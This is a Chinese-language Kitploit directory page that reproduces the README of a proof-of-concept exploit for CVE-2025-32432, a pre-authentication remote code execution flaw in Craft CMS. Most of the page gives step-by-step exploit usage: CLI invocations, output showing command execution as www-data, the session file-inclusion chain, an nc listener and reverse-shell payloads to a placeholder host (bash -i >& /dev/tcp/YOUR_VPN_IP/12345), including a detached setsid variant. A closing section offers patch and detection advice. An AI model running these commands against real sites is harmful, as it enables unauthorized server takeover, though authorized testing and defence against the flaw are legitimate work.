Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32432-POC — 针对 CVE-2025-32432 的单目标概念验证,这是 Craft CMS 中的一个预认证远程代码执行漏洞。通过 phpinfo 小工具进行漏洞确认,并可选地通过会话文件包含链执行命令。 | Kitploit
工具/GitHubGitHub/theeomega/cve-2025-32432-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

针对 CVE-2025-32432 的单目标概念验证,这是 Craft CMS 中的一个预认证远程代码执行漏洞。通过 phpinfo 小工具进行漏洞确认,并可选地通过会话文件包含链执行命令。

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Craft CMS CVE-2025-32432 单目标 PoC

仅限授权测试。 本仓库仅用于受控实验室环境、CTF 平台(如 Hack The Box)、内部验证和防御性核查。请勿针对您不拥有或未获得明确许可的系统运行此工具。

概述

本项目包含针对 CVE-2025-32432 的单目标概念验证(PoC),该漏洞是 Craft CMS 的一个预认证远程代码执行问题。

该 PoC 分两个阶段执行:

  1. 漏洞确认:通过 Craft CMS 的资产变换生成端点使用 phpinfo() gadget。
  2. 可选命令执行:使用两步会话文件包含链。

该脚本旨在避免一些公开 PoC 中常见的漏报问题:正常的图片变换请求可能返回 404,而同一端点和 assetId 在加载实际 gadget 载荷时仍然有效。

受影响版本

根据 Craft CMS 官方公告和公开公告数据库,受影响范围如下:

Craft CMS 分支受影响版本修复版本
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

如果您负责管理 Craft CMS 部署,请立即升级到修复版本。

技术摘要

该 PoC 按以下流程执行:

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

重要的实现细节:

  • 发现阶段使用 phpinfo gadget,而不是正常的 transform 请求。
  • 命令以 十六进制 形式传递,以避免空格、引号、管道符或 & 符号破坏查询字符串。
  • 默认测试的 PHP 会话目录包括:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • 包含 --timeout 选项,用于反向 shell 场景。

文件

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

环境要求

  • Python 3.9+
  • requests
  • urllib3

安装依赖:

root@kitploit:~
python3 -m pip install requests urllib3

使用方法

1. 仅检查模式

此模式仅使用 phpinfo gadget 确认漏洞。

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

预期成功输出:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

phpinfo 响应将保存为:

root@kitploit:~
phpinfo_success.html

2. 执行简单命令

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

示例成功输出:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. 使用已知端点和资产 ID

当您已经知道可用值时使用此方式。

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. 自定义前端控制器

某些目标可能使用自定义前端控制器(如 x.php)。

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

这会测试类似以下路由:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. 反向 Shell 用法

首先启动一个监听器:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

然后使用反向 shell 命令运行 PoC:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 会禁用请求超时。这很有用,因为反向 shell 通常会保持 HTTP 请求打开。

分离变体:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

选项

故障排除

正常扫描期间出现 assetId 0 -> HTTP 404

不要依赖正常的 transform 请求来进行发现。某些目标对正常的 transform 请求体返回 404,但仍会执行 gadget 载荷。

该 PoC 使用 phpinfo gadget 本身来发现有效组合。

phpinfo 正常,但命令执行失败

尝试手动指定会话目录:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

然后尝试:

root@kitploit:~
--session-dir /var/lib/php/session

或者:

root@kitploit:~
--session-dir /tmp

反向 Shell 连接后很快断开

请使用以下方法之一:

  1. 禁用请求超时:
root@kitploit:~
--timeout 0
  1. 使用带 setsid 或 nohup 的分离式载荷。

  2. 确认您的回调 IP 正确:

root@kitploit:~
ip -br a | grep tun

反向 Shell 期间出现读取超时

如果反向 shell 已成功连接,这可能是正常现象。在将超时视为失败之前,请先检查您的监听器。

命令输出缺失

先尝试更简单的命令:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

如果简单命令正常但复杂命令失败,请仔细引用命令,或使用分离式 shell 载荷。

示例实验输出

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

防御指南

如果您管理着 Craft CMS 实例:

  1. 升级到 Craft CMS 3.9.15、4.14.15、5.6.17 或更高版本。
  2. 检查 Web 根目录中是否存在可疑的 PHP 文件或 Web shell。
  3. 检查 PHP 会话目录和 Web 服务器日志中是否有针对资产 transform 路由的可疑请求。
  4. 如果怀疑已被利用,请轮换 .env 中的密钥和数据库凭据。
  5. 尽可能限制对管理路由的公开访问。
  6. 检查疑似入侵时间窗口内的服务器文件系统时间戳。

参考资料

  • Craft CMS 官方公告:https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub 公告数据库:https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • SensePost 技术分析:https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

免责声明

本项目仅供教育、研究、实验室和防御性验证用途。作者不对滥用行为负责。请仅测试您拥有或获得明确书面许可评估的系统。

下载工具
选项描述默认值
-u, --url目标基础 URL必需
-c, --cmd在 phpinfo 确认后要执行的可选命令无
--front前端控制器文件名index.php
-s, --scan-max使用 phpinfo gadget 测试的最大 assetId50
-a, --asset已知可用的资产 ID无
--endpoint已知可用的 generate-transform 端点无
--session-dirPHP 会话目录。可多次提供内置列表
--timeout命令触发时的请求超时。使用 0 表示无超时20